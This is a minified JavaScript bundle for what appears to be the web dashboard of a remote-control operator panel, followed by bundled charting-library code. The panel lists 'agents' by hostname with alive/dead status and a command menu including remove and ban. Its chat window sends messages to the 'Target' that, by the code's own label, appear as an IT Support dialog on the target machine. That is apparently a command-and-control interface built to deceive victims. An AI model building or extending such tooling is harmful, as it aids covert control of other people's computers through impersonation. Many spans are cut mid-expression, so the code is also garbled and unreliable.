l=p.useRef(null),c=p.useRef(null),u=p.useRef(null),[d,f]=p.useState(null),[m,h]=p.useState({x:e,y:t}),[x,g]=p.useState(""),[y,v]=p.useState(-1),[b,w]=p.useState(-1),[j,k]=p.useState(!1),S=p.useRef(null),N=a==="dead",z=x.trim()?Mf.map(R=>({...R,commands:R.commands.filter(I=>I.label.toLowerCase().includes(x.toLowerCase())||I.key.toLowerCase().includes(x.toLowerCase()))})).filter(R=>R.commands.length>0||R.label.toLowerCase().includes(x.toLowerCase())).map(R=>({...R,commands:R.commands.length>0?R.commands:Mf.find(I=>I.label===R.label).commands})):Mf;p.useEffect(()=>{if(n&&l.current){const R=l.current.getBoundingClientRect(),I=window.innerWidth,F=window.innerHeight;let B=e,V=t;e+R.width>I&&(B=I-R.width-8),t+R.height>F&&(V=F-R.height-8),h({x:Math.max(4,B),y:Math.max(4,V)})}else h({x:e,y:t})},[e,t,n]),p.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),k(!1))},[n]),p.useEffect(()=>{n&&requestAnimationFrame(()=>{var R;(R=c.current)==null||R.focus()})},[n]),p.useEffect(()=>{if(!n)return;const R=I=>{l.current&&!l.current.contains(I.target)&&i()};return document.addEventListener("mousedown",R),()=>{document.removeEventListener("mousedown",R)}},[n,i]),p.useEffect(()=>()=>{S.current&&clearTimeout(S.current)},[]);const O=p.useCallback(()=>{if(!u.current)return;const R=u.current;R.style.top="0px";const I=R.getBoundingClientRect(),F=window.innerHeight;if(I.bottom>F-8){const B=I.bottom-F+8;R.style.top=`${-B}px`}},[]);if(p.useEffect(()=>{d&&requestAnimationFrame(O)},[d,O]),p.useEffect(()=>{if(!n)return;const R=I=>{var B;const F=z;if(F.length!==0)switch(I.key){case"ArrowDown":{if(I.preventDefault(),j){const V=F.find($=>$.label===d);V&&w($=>${const $=V$.label===d);V&&w($=>$>0?$-1:V.commands.length-1)}else v(V=>{const $=V>0?V-1:F.length-1;return f(F[$].label),$});break}case"ArrowRight":case"Enter":{if(j&&I.key==="Enter"){I.preventDefault();const V=F.find($=>$.label===d);V&&b>=0&&bdocument.removeEventListener("keydown",R)},[n,z,d,j,y,b,i]),!n)return null;const _=(R,I)=>{S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{f(R),v(I),k(!1),w(-1)},60)},T=()=>{S.current&&clearTimeout(S.current)},E=R=>{N&&R.nav.action!=="remove"&&R.nav.action!=="ban"||r(R.key,R.nav)},U=m.x+200+220>window.innerWidth,K=R=>R===0?!1:z[R].group!==z[R-1].group;return s.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:m.x,top:m.y},onMouseLeave:()=>{f(null),v(-1),k(!1),w(-1)},children:s.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[s.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[s.jsxs("span",{className:"relative inline-flex",children:[a==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${LA[a]}`})]}),s.jsxs("div",{className:"flex flex-col min-w-0",children:[s.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),s.jsx("span",{className:`font-mono text-[10px] ${DA[a]}`,children:IA[a]})]})]}),s.jsx("div",{className:"px-2 pt-2 pb-1",children:s.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[Ht.search,s.jsx("input",{ref:c,type:"text",value:x,onChange:R=>{g(R.target.value),v(-1),f(null),k(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&s.jsx("button",{onClick:()=>{var R;g(""),(R=c.current)==null||R.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),s.jsxs("div",{className:"py-1",children:[z.length===0&&s.jsx("div",{className:"px-3 py-4 text-center",children:s.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),z.map((R,I)=>s.jsxs(oh.Fragment,{children:[K(I)&&s.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),s.jsxs("div",{className:"relative",onMouseEnter:()=>_(R.label,I),onMouseLeave:T,children:[s.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===R.label||y===I?N?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":N?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[s.jsx("span",{className:`${d===R.label||y===I?N?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:R.icon}),s.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:R.label}),s.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===R.label||y===I?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===R.label&&s.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${U?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[s.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:s.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:R.label})}),R.commands.map((F,B)=>{const V=N&&F.nav.action!=="remove"&&F.nav.action!=="ban",$=TA.has(F.key)||F.nav.action==="remove",q=MA.has(F.key)||F.nav.action==="ban",Y=OA.has(F.key),ie=j&&b===B;return s.jsxs("button",{onClick:()=>E(F),disabled:V,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${$?ie?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":q?ie?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":V?"cursor-not-allowed text-zerin-text-muted":ie?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[s.jsx("span",{children:F.label}),Y&&!V&&Ht.externalLink]},F.key)})]})]})]},R.label))]})]})})};function n5({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,a]=p.useState([]),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(!0),m=p.useRef(null),h=p.useRef(null),{lastMessage:x}=p.useContext(Yu),g=p.useCallback(async()=>{try{const v=Ze(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();a(w)}}catch{}finally{f(!1)}},[e]);p.useEffect(()=>{n&&(f(!0),g())},[n,g]),p.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),p.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),p.useEffect(()=>{var v;(v=m.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),p.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=Ze(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();a(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?s.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:s.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),s.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?s.jsx("div",{className:"flex h-full items-center justify-center",children:s.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?s.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[s.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),s.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>s.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:s.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[s.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[s.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),s.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:$A(v.timestamp)})]}),s.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),s.jsx("div",{ref:m})]}),s.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`}),s.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r transition-colors hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),s.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function $A(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const BA=({open:e,onClose:t,title:n,children:r})=>{const i=p.useRef(null);return p.useEffect(()=>{if(!e)return;const a=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",a),()=>document.removeEventListener("keydown",a)},[e,t]),p.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?s.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[s.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),s.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),s.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:s.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function r5(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:a,className:o,style:l,title:c,desc:u}=e,d=KA(e,HA),f=a||{width:r,height:i,x:0,y:0},m=Ve("recharts-surface",o);return p.createElement("svg",um({},At(d),{className:m,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),p.createElement("title",null,c),p.createElement("desc",null,u),n)}),YA=["children","className"];function dm(){return dm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=GA(e,YA),a=Ve("recharts-layer",r);return p.createElement("g",dm({className:a},At(i),{ref:t}),n)}),ZA=p.createContext(null);function Pe(e){return function(){return e}}const o5=Math.cos,_c=Math.sin,Ln=Math.sqrt,Oc=Math.PI,Gu=2*Oc,fm=Math.PI,pm=2*fm,yi=1e-6,QA=pm-yi;function l5(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return l5;const n=10**t;return function(r){this._+=r[0];for(let i=1,a=r.length;iyi)if(!(Math.abs(f*c-u*d)>yi)||!a)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(m),w=a*Math.tan((fm-Math.acos((g+m-y)/(2*v*b)))/2),j=w/b,k=w/v;Math.abs(j-1)>yi&&this._append`L${t+j*d},${n+j*f}`,this._append`A${a},${a},0,0,${+(f*h>d*x)},${this._x1=t+k*c},${this._y1=n+k*u}`}}arc(t,n,r,i,a,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,m=o?i-a:a-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>yi||Math.abs(this._y1-d)>yi)&&this._append`L${u},${d}`,r&&(m<0&&(m=m%pm+pm),m>QA?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:m>yi&&this._append`A${r},${r},0,${+(m>=fm)},${f},${this._x1=t+r*Math.cos(a)},${this._y1=n+r*Math.sin(a)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function ox(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new e_(t)}function lx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function c5(e){this._context=e}c5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function Xu(e){return new c5(e)}function u5(e){return e[0]}function d5(e){return e[1]}function f5(e,t){var n=Pe(!0),r=null,i=Xu,a=null,o=ox(l);e=typeof e=="function"?e:e===void 0?u5:Pe(e),t=typeof t=="function"?t:t===void 0?d5:Pe(t);function l(c){var u,d=(c=lx(c)).length,f,m=!1,h;for(r==null&&(a=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[m]=+e(y,m,f),j[m]=+t(y,m,f),l.point(r?+r(y,m,f):w[m],n?+n(y,m,f):j[m]))}if(b)return l=null,b+""||null}function d(){return f5().defined(i).curve(o).context(a)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:Pe(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:Pe(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:Pe(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:Pe(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:Pe(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:Pe(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:Pe(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,a!=null&&(l=o(a)),u):o},u.context=function(f){return arguments.length?(f==null?a=l=null:l=o(a=f),u):a},u}class p5{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function t_(e){return new p5(e,!0)}function n_(e){return new p5(e,!1)}const cx={draw(e,t){const n=Ln(t/Oc);e.moveTo(n,0),e.arc(0,0,n,0,Gu)}},r_={draw(e,t){const n=Ln(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},m5=Ln(1/3),i_=m5*2,a_={draw(e,t){const n=Ln(t/i_),r=n*m5;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},s_={draw(e,t){const n=Ln(t),r=-n/2;e.rect(r,r,n,n)}},o_=.8908130915292852,h5=_c(Oc/10)/_c(7*Oc/10),l_=_c(Gu/10)*h5,c_=-o5(Gu/10)*h5,u_={draw(e,t){const n=Ln(t*o_),r=l_*n,i=c_*n;e.moveTo(0,-n),e.lineTo(r,i);for(let a=1;a<5;++a){const o=Gu*a/5,l=o5(o),c=_c(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},Lf=Ln(3),d_={draw(e,t){const n=-Ln(t/(Lf*3));e.moveTo(0,n*2),e.lineTo(-Lf*n,-n),e.lineTo(Lf*n,-n),e.closePath()}},an=-.5,sn=Ln(3)/2,mm=1/Ln(12),f_=(mm/2+1)*3,p_={draw(e,t){const n=Ln(t/f_),r=n/2,i=n*mm,a=r,o=n*mm+n,l=-a,c=o;e.moveTo(r,i),e.lineTo(a,o),e.lineTo(l,c),e.lineTo(an*r-sn*i,sn*r+an*i),e.lineTo(an*a-sn*o,sn*a+an*o),e.lineTo(an*l-sn*c,sn*l+an*c),e.lineTo(an*r+sn*i,an*i-sn*r),e.lineTo(an*a+sn*o,an*o-sn*a),e.lineTo(an*l+sn*c,an*c-sn*l),e.closePath()}};function m_(e,t){let n=null,r=ox(i);e=typeof e=="function"?e:Pe(e||cx),t=typeof t=="function"?t:Pe(t===void 0?64:+t);function i(){let a;if(n||(n=a=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),a)return n=null,a+""||null}return i.type=function(a){return arguments.length?(e=typeof a=="function"?a:Pe(a),i):e},i.size=function(a){return arguments.length?(t=typeof a=="function"?a:Pe(+a),i):t},i.context=function(a){return arguments.length?(n=a??null,i):n},i}function Tc(){}function Mc(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function x5(e){this._context=e}x5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:Mc(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Mc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function h_(e){return new x5(e)}function v5(e){this._context=e}v5.prototype={areaStart:Tc,areaEnd:Tc,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:Mc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function x_(e){return new v5(e)}function g5(e){this._context=e}g5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:Mc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function v_(e){return new g5(e)}function y5(e){this._context=e}y5.prototype={areaStart:Tc,areaEnd:Tc,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function g_(e){return new y5(e)}function _g(e){return e<0?-1:1}function Og(e,t,n){var r=e._x1-e._x0,i=t-e._x1,a=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(a*i+o*r)/(r+i);return(_g(a)+_g(o))*Math.min(Math.abs(a),Math.abs(o),.5*Math.abs(l))||0}function Tg(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function If(e,t,n){var r=e._x0,i=e._y0,a=e._x1,o=e._y1,l=(a-r)/3;e._context.bezierCurveTo(r+l,i+l*t,a-l,o-l*n,a,o)}function Lc(e){this._context=e}Lc.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:If(this,this._t0,Tg(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,If(this,Tg(this,n=Og(this,e,t)),n);break;default:If(this,this._t0,n=Og(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function b5(e){this._context=new w5(e)}(b5.prototype=Object.create(Lc.prototype)).point=function(e,t){Lc.prototype.point.call(this,t,e)};function w5(e){this._context=e}w5.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,a){this._context.bezierCurveTo(t,e,r,n,a,i)}};function y_(e){return new Lc(e)}function b_(e){return new b5(e)}function j5(e){this._context=e}j5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=Mg(e),i=Mg(t),a=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/a[t];for(a[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function j_(e){return new Zu(e,.5)}function k_(e){return new Zu(e,0)}function N_(e){return new Zu(e,1)}function Wi(e,t){if((o=e.length)>1)for(var n=1,r,i,a=e[t[0]],o,l=a.length;n=0;)n[t]=t;return n}function S_(e,t){return e[t]}function z_(e){const t=[];return t.key=e,t}function C_(){var e=Pe([]),t=hm,n=Wi,r=S_;function i(a){var o=Array.from(e.apply(this,arguments),z_),l,c=o.length,u=-1,d;for(const f of a)for(l=0,++u;l0){for(var n,r,i=0,a=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,a=r.length;n0)||!((a=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,a,o;r1&&arguments[1]!==void 0?arguments[1]:O_,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function Ke(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+a:l!==void 0?i+Ur(l)+a:i+a},"")}var It=e=>e===0?0:e>0?1:-1,Gn=e=>typeof e=="number"&&e!=+e,Ui=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,ue=e=>(typeof e=="number"||e instanceof Number)&&!Gn(e),hr=e=>ue(e)||typeof e=="string",T_=0,ho=e=>{var t=++T_;return"".concat(e||"").concat(t)},Zt=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!ue(t)&&typeof t!="string")return r;var a;if(Ui(t)){if(n==null)return r;var o=t.indexOf("%");a=n*parseFloat(t.slice(0,o))/100}else a=+t;return Gn(a)&&(a=r),i&&n!=null&&a>n&&(a=n),a},S5=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):mo(r,t))===n)}var wt=e=>e===null||typeof e>"u",Io=e=>wt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function Un(e){return e!=null}function Za(){}var M_=["type","size","sizeType"];function xm(){return xm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(Io(e));return 